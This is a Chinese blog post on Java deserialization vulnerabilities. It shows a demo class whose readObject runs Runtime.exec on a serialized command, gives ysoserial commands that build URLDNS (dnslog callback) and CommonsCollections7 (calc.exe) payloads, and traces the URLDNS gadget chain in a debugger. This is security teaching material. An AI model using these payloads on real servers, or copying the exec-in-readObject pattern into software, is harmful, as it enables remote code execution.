news 2026/3/16 12:00:53

java反序列化漏洞解析+URLDNS利用链分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
java反序列化漏洞解析+URLDNS利用链分析

一些基本的概念

为什么要序列化?

1.数据持久化

2.远程传输

3.缓存 提高访问速度

什么样的数据可以进行序列化?

被序列化的类必须属于 Enum、Array 和 Serializable 类型其中的任何⼀种,否则将抛出NotSerializableException 异常

序列化:把⼀个Java对象变为 byte[] 数组,需要使⽤ ObjectOutputStream 。它负责把⼀个Java对象写⼊⼀个字节流。

反序列化:和 ObjectOutputStream 相反, ObjectInputStream 负责从⼀个字节流读取Java对象

反序列化时可能会出现的异常:

1.ClassNotFoundException :没有找到对应的Class

2.InvalidClassException :Class不匹配

serialVersionUID:Java的序列化允许class定义⼀个特殊的 serialVersionUID 静态变量,⽤于标识Java类的序列化“版本”,通常可以由IDE⾃动⽣成。如果增加或修改了字段,可以改变 serialVersionUID 的值,这样就能⾃动阻⽌不匹配的class版本。

基本的使用

写几段代码更好地去理解java序列化 反序列化的过程

1.java序列化代码

Test类:

import java.io.IOException; import java.io.Serializable; public class Test implements Serializable { private String cmd; public Test(String cmd) { this.cmd = cmd; } //重写readObject方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); System.out.println(cmd); Runtime.getRuntime().exec(cmd);//代码执行点 } }

主类:

import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; //TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或 // 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。 public class Main { public static void main(String[] args) throws IOException { Test test = new Test("calc.exe"); //将序列化内容写⼊⽂件 FileOutputStream fos = new FileOutputStream("test1.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(test); oos.close(); fos.close(); } }

2.java反序列化代码

Test类:

import java.io.IOException; import java.io.Serializable; public class Test implements Serializable { private String cmd; public Test(String cmd) { this.cmd = cmd; } //重写readObject方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); System.out.println(cmd); Runtime.getRuntime().exec(cmd);//代码执行点 } }

主类:

import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; //TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或 // 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。 public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { //从⽂件中读取并反序列化 FileInputStream fio = new FileInputStream("test1.ser"); ObjectInputStream ois = new ObjectInputStream(fio); Test bbbb = (Test)ois.readObject(); ois.close(); fio.close(); System.out.println(bbbb); } }

3.执行serialize项目序列化代码执行序列化 生成test1.ser序列化文件

010editor打开文件看下序列化的文件内容

序列化文件头AC ED 00 05

还依稀能看到我们传入的calc.exe参数

4.复制test1.ser文件到unserialize项目文件夹下 模拟序列化数据传到服务端的业务场景

运行项目 进行反序列化 成功弹出计算器

反序列化漏洞利用成功

后续测试

1.此时是服务端,也就是unserialize项目有Test类的情况

如果现在把服务端(unserialize项目)中的Test类删除,还可以正常进行反序列化弹出计算器吗?

当然删了Test会报红 需要对主类进行一些修改:

import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; //TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或 // 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。 public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { //从⽂件中读取并反序列化 FileInputStream fio = new FileInputStream("test1.ser"); ObjectInputStream ois = new ObjectInputStream(fio); Object bbbb = ois.readObject(); ois.close(); fio.close(); System.out.println(bbbb); } }

这时候再运行会报ClassNotFoundException

这时就无法正常进行反序列化了

2.那如果是服务端的Test类(unserialize项目)和我们生成序列化数据的类(serialize项目)不一样 服务端还可以反序列化成功吗?

还原主类 修改Test类

Test类:新加了一个aaaa的string字段

import java.io.IOException; import java.io.Serializable; public class Test implements Serializable { private String cmd; public String aaaa; public Test(String cmd) { this.cmd = cmd; } //重写readObject方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); System.out.println(cmd); Runtime.getRuntime().exec(cmd);//代码执行点 } }

主类:

import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; //TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或 // 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。 public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { //从⽂件中读取并反序列化 FileInputStream fio = new FileInputStream("test1.ser"); ObjectInputStream ois = new ObjectInputStream(fio); Test bbbb = (Test)ois.readObject(); ois.close(); fio.close(); System.out.println(bbbb); } }

执行后出现InvalidClassException异常

工具的使用

以上的代码只是一个测试的例子,实际业务中的代码不会有这种写法。那对于实际业务该如何去发现和利用反序列化漏洞呢?

首先就是看项目代码中有没有反序列化的写法,以及序列化的数据用户是不是可控的!!!

如果以上两点都满足,就可以去验证利用一下反序列化的漏洞了。

java的反序列化漏洞利用是要依赖攻击链的,我们通常称利用链为gadget,可以将 gadget理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束。Java标准库及第三方公共类库组合达到某个反序列化漏洞,不同的攻击链依赖的组件不同,所以能达到的攻击效果也是不同的,上面的代码中的readobject()方法其实就是模拟了一个利用链。

利用链太多了,所以我们需要工具来帮助我们生成某个利用链的序列化数据payload。

比如ysoserial

ysoserial工具的使用

1.查看利用链 和依赖的组件:

java -jar ysoserial-all.jar

第三列的就是利用链要依赖的组件,必须确保利用链有引入依赖组件版本才可以利用。空白的表示不需要组件的依赖,有多个的表示服务端只要有其中一个组件就可以利用。

2.开始利用

为了方便引入各个组件 可以再新建一个maven构建系统的项目

代码如下:

package org.example; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; //TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或 // 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。 public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { //从⽂件中读取并反序列化 FileInputStream fio = new FileInputStream("payload.ser"); ObjectInputStream ois = new ObjectInputStream(fio); Object bbbb = ois.readObject(); ois.close(); fio.close(); System.out.println(bbbb); } }

这次就彻底没有Test类了

我们先试一下URLDNS链 它不需要组件的依赖 我们试一试

java -jar ysoserial-all.jar URLDNS "http://d5285u.dnslog.cn" > payload1.ser

序列化的payload生成成功

复制到unserialize2项目路径下 记得改代码中的文件名

利用CommonsCollections1攻击链

需要commons-collections:3.1组件

用pom.xml导入

利用ysoserial生成paylaod

但是CommonsCollections1利用链执行失败了 可能和jdk版本有关系 后来换到了CommonsCollections7才执行成功

java -jar ysoserial-all.jar CommonsCollections7 calc.exe >payload7

毕竟CommonsCollections7利用链也是依赖ommons-collections:3.1嘛。

URLDNS利用链分析

urldns链是最简单的利用链了,通过分析它可以更清晰地了解到攻击链的调用过程,也能加深理解。

java -jar ysoserial-all.jar URLDNS http:6w1qwt.dnslog.cn > urldns

1.加断点跟进调试

2.强制步入readObject()方法

发现又调用了readObject0()方法 步入

到这儿其实已经读取序列化数据了 通过switch case语句来看到底是什么类型的对象

确认是object的类

步入readOrdinaryObject()函数

有检查序列化依赖的类是否在本地存在 依赖的是HashMap类

继续往下看 新建一个HashMap对象 当前为空

通过readSerialData()方法向新建的空的obj类型为HashMap的对象赋值

步入readSerialData()方法查看详情

有获取一些序列化的数据 判断是否存在readObject方法

继续看有通过invokeReadObject()反射函数处理obj对象

步入invokeReadObject()函数

接下来就是一连串的反射 持续跟进

再步入就到了HashMap.java 到这儿其实都是每个利用链一样的调用链 用其他利用链 比如CommonsCollections7利用链 到这儿其实都一样 接下来就是每个利用链独有的东西了。

readObject()函数的作用就是更好地还原对象

接下来有调用putVal()函数 和hash()函数

key的值便是dnslog平台的地址

步入hash()函数

当key值不为空的时候会调hashCode()函数

步入hashCode()函数 进入URL.java文件

当hashCode值为-1时 会有handler调用hashCode

步入handler.hashCode()

u就是我们传入的序列化数据的域名

有调用getHostAddress()函数

步入getHostAddress()函数

有调用InetAddress.getByName()函数

这个函数的作用呢就是根据域名解析获取到ip地址 自然会用dns解析的过程

到这儿其实这个URLDNS链就分析完成了

已经是最短的利用链了

涉及到的文件HashMap URL URLStreamHandler等都是jdk库自带的 所以不需要其他的组件就可以执行成功

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/15 11:57:40

10-3 phase:timeout UVM测试平台层次结构与Phase执行顺序解析

文章目录 原始代码及log UVM Phase超时机制与Objection机制深度解析 🔍 分析UVM Phase执行顺序 ✅ UVM Phase执行顺序(核心原则) ✅ 本例关键执行顺序 💡 为什么实际超时是3320ns而不是4100ns? 🧠 核心原因:UVM的phase执行顺序与objection机制 ✅ UVM官方文档确认 �…

作者头像 李华
网站建设 2026/3/15 11:29:36

半年融资超200亿,但70%机器人还在“演戏”!

&#x1f4cc; 目录冰与火之歌&#xff1a;人形机器人融资狂揽230亿&#xff0c;70%却仍在“舞台表演”&#xff0c;达闼卖楼自救戳破行业泡沫一、融资狂欢与落地停滞&#xff1a;230亿热钱背后&#xff0c;70%机器人困在“表演场”&#xff08;一&#xff09;融资数据再创新高…

作者头像 李华
网站建设 2026/3/15 16:17:19

突破大文件处理瓶颈:视频分段技术的实战应用指南

突破大文件处理瓶颈&#xff1a;视频分段技术的实战应用指南 【免费下载链接】Waifu2x-Extension-GUI Video, Image and GIF upscale/enlarge(Super-Resolution) and Video frame interpolation. Achieved with Waifu2x, Real-ESRGAN, Real-CUGAN, RTX Video Super Resolution …

作者头像 李华
网站建设 2026/3/15 12:29:43

yt-dlp-gui视频下载终极指南:从零到精通的完整方案

在当今数字内容爆炸的时代&#xff0c;高效获取网络视频资源已成为用户刚需。yt-dlp-gui作为yt-dlp命令行工具的图形界面版本&#xff0c;为Windows用户提供了简单直观的视频下载解决方案。本指南将带您从基础安装到高级应用&#xff0c;全面掌握这款强大工具的使用技巧。 【免…

作者头像 李华
网站建设 2026/3/15 9:38:23

探索基于PRM的路径规划算法:基础与优化

基于PRM的路径规划算法&#xff0c;可以自行替换地图&#xff0c;代码能够正常运行且无问题。 文件包含一种基础的PRM和优化改进后的PRM&#xff0c;可用于对比。在机器人运动规划等领域&#xff0c;路径规划算法至关重要。今天咱们就来聊聊基于PRM&#xff08;概率路线图&…

作者头像 李华